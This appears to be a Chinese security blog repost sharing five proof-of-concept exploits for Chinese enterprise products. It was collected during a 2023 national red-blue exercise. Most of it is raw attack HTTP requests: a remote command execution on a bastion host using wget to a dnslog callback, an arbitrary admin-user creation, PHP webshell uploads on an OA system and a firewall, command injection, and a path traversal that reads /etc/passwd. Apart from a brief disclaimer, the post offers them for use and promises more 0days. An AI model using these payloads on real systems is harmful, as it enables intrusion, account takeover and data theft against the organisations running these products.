国护0day漏洞消息同步（Day2）

2023年8月11日00:44:53评论93 views字数 5250阅读17分30秒阅读模式

免责声明

月落星沉研究室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他违法行为！！！

0x00前言

hvv第二弹

0x01漏洞一
绿盟 SAS堡垒机 Exec 远程命令执行漏洞

发现漏洞的路径的证明

<?php   require_once 'Nsc/Websvc/Response.php'; class ExecController extends Cavy_Controller_Action {    var $models = 'no';    public function index() {     $command = $this->_params['cmd'];     $ret = 0;     $output = array();     exec($command,$output,$ret);     $result = new StdClass;     if ($ret != 0) {       $result->code = Nsc_Websvc_Response::EXEC_ERROR;       $result->text = "exec error";     }     else {       $result->code = Nsc_Websvc_Response::SUCCESS;       //            $result->text = implode("n",$output);       $result->text = "WEBSVC OK";     }     $this->_render(array('result'=>$result),'/websvc/result');   } } ?>

可发现在ExecController.php 文件中

poc：漏洞存在路径 /webconf/Exec/index?cmd=wget%20xxx.xxx.xxx

GET /webconf/Exec/index?cmdwget 20bxbceb.dnslog.cn HTTP/1.1Host:Accept:*/*Content-Type:application/x-www-form-urlencoded

0x02漏洞二

安恒明御运维审计与风险控制系统xmlrpc.sock任意用户添加漏洞

POC：

POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1 Host:  Cookie: LANG=zh; DBAPPUSM=ee4bbf6c85e541bb980ad4e0fbee2f57bb15bafe20a7028af9a0b8901cf80fd3 Content-Length: 1117 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close  <?xml version="1.0"?>   <methodCall> <methodName>web.user_add</methodName> <params> <param> <value> <array> <data> <value> <string>admin</string> </value> <value> <string>5</string> </value> <value> <string>10.0.0.1</string> </value> </data> </array> </value> </param> <param> <value> <struct> <member> <name>uname</name> <value> <string>test</string> </value> </member> <member> <name>name</name> <value> <string>test</string> </value> </member> <member> <name>pwd</name> <value> <string>1qaz@3edC12345</string> </value> </member> <member> <name>authmode</name> <value> <string>1</string> </value> </member> <member> <name>deptid</name> <value> <string></string> </value> </member> <member> <name>email</name> <value> <string></string> </value> </member> <member> <name>mobile</name> <value> <string></string> </value> </member> <member> <name>comment</name> <value> <string></string> </value> </member> <member> <name>roleid</name> <value> <string>102</string> </value> </member> </struct></value> </param> </params> </methodCall>

0x03漏洞三

泛微 OA 代码执行

POC：

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1Host: xxx.xxx.xxx.xxxUser-Agent: testConnection: closeContent-Length: 493Accept-Encoding: gzipContent-Type: multipart/form-data; boundary=25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85Content-Disposition: form-data; name="Filedata"; filename="666.php"Content-Type: application/octet-stream
<?php phpinfo();?>
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85----25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85Content-Disposition: form-data; name="file"; filename=""Content-Type: application/octet-stream
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--

0x04漏洞四

深信服 sxf-报表系统

POC：

POST /rep/login HTTP/1.1 Host: URLCookie: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0s X 10.15: ry:109.0)Gecko/20100101 Firefox/115.0 Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif, image/webp,*/*;q=0.8 Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en;g=0.2 Accept-Encoding: gzip deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache14 Te: trailers Connection: close Content-Type:application/x-www-form-urlencoded Content-Length: 126 clsMode=cls_mode_login&index=index&log_type=report&page=login&rnd=0.7550103466497915&userID=admin%0Aid -a %0A&userPsw=tmbhuisq

GET /report/download.php?pdf=../../../../../etc/passwd HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept: */*Connection: Keep-Alive

0x05漏洞五

网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传

POC：

 POST /?g=obj_app_upfile HTTP/1.1 Host: x.x.x.x Accept: */* Accept-Encoding: gzip, deflate Content-Length: 574 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)  ------WebKitFormBoundaryJpMyThWnAxbcBBQc Content-Disposition: form-data; name="MAX_FILE_SIZE"  10000000 ------WebKitFormBoundaryJpMyThWnAxbcBBQc Content-Disposition: form-data; name="upfile"; filename="vulntest.php" Content-Type: text/plain  <?php php马?>  ------WebKitFormBoundaryJpMyThWnAxbcBBQc Content-Disposition: form-data; name="submit_post"  obj_app_upfile ------WebKitFormBoundaryJpMyThWnAxbcBBQc Content-Disposition: form-data; name="__hash__"  0b9d6b1ab7479ab69d9f71b05e0e9445 ------WebKitFormBoundaryJpMyThWnAxbcBBQc--

木马路径：attachements/xxx.php

目前护网已曝厂商漏洞，均为内部消息，欢迎大家一起来沟通护网消息

国护0day漏洞消息同步（Day2）

这是我们手上掌握的部分漏洞，还有更多漏洞将在后面曝光，关注月落安全，大佬带你飞。

手头没有几个0day也想混网安圈？苦苦寻找没有合适的技战法？护网值守时摸鱼无聊?

原文始发于微信公众号（月落安全）：国护0day漏洞消息同步（Day2）

左青龙
微信扫一扫

右白虎
微信扫一扫

国护0day漏洞消息同步（Day2）

【红蓝/演练】-事前准备(6)之互联网风险收敛

【红蓝/演练】-事前准备(6)之办公网风险收敛

【红队】lnk钓鱼的奇思妙想(你应该没见过)

记一次对抗中的钓鱼

攻防演练中log4j2的简单利用-攻防演练

某地级市攻防技战术提炼

护网怎么做，护网前、护网中，护网后，总共60道工序，一道一道讲清楚

记一次重保期间的实战溯源反制

实战攻防:记一次市级hw

技术交流分享-HW实战案例复盘

发表评论

在线咨询

微信